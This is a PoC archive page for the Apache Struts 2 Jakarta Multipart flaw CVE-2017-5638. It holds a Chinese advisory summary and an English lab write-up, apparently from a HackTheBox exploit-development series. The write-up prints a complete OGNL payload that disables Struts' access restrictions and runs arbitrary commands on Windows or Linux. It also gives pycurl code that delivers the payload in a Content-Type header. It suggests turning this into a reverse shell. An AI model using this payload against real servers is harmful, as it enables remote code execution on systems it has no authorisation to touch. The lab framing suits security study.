POC详情: 14ac74e0508d6101cc914ecf53ffa455ed7c5998

来源
关联漏洞
标题: Apache Struts 2 输入验证错误漏洞 (CVE-2017-5638)
描述:Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 Apache Struts 2 2.3.32之前的2 2.3.x版本和2.5.10.1之前的2.5.x版本中的Jakarta Multipart解析器存在安全漏洞,该漏洞源于程序没有正确处理文件上传。远程攻击者可借助带有#cmd=字符串的特制Content-Type HTTP头利用该漏洞执行任意命令。
介绍
# ExploitDev Journey #10 | CVE-2017-5638 | Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution
Original Exploit: https://www.exploit-db.com/exploits/41570 <br>

**Exploit name:** Apache Struts RCE <br>
**CVE**: 2017-5638 <br>
**Lab**: Stratosphere - HackTheBox


### Description
There is a vulnerability in Apache struts that allows a remote attacker to execute code and system commands using a Java payload. Apache struts itself is used for creating Java-EE web applications.

<br>

### How it works
This vulnerability is exploited through the `Content-Type` HTTP header. This box however had some SSL problems and I couldn't use Python-requests for it. Nevetheless I found a way to exploit it using another library called [pycurl](http://pycurl.io/docs/latest/quickstart.html).

<br>

### Writing the exploit
In order to exploit the vulnerability you have to find an [action page](https://struts.apache.org/core-developers/action-configuration). The payload that you are going to use works for both Windows and Linux and it's generated with msfvenom but you don't need to worry about generating your own payload because I have included it along with the rest of the code:
```py
payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
```

For every command that you perform, you have to send a fresh new request to the website, you can change it to something to get a reverse shell but look at the payload! <br>
The payload is designed to be cross-platform so there won't be any need.


> `headers = [f'Content-Type: {str(payload)}']`

Here is how we store a header, we are basically storing the payload in a `Content-Type` HTTP header. However the most important part is that we are using a new tool and that is pycurl:
```py
c = pycurl.Curl()
c.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_0)
c.setopt(c.URL, rhost)
c.setopt(pycurl.HTTPHEADER, headers)
c.perform()
c.close()
```

First we create an instance of the `Curl()` class and then we set the HTTP version to 1.0 and I think the rest of the code should be self-explanatory.

<br>

### Final thoughts
Here you saw a payload that checks the operating system to see if it Windows or Linux and it will open a shell accordingly, You could even go back and change all the other exploits we have worked on and transform them to something more convenient like this. In this session you also learned about another alternative for python-requests, if your exploits don't work because of some weird SSL certificate errors, you can definitely try again with [pycurl](http://pycurl.io/docs/latest/quickstart.html).


文件快照

[4.0K] /data/pocs/14ac74e0508d6101cc914ecf53ffa455ed7c5998 ├── [1.4K] exploit.py └── [3.3K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。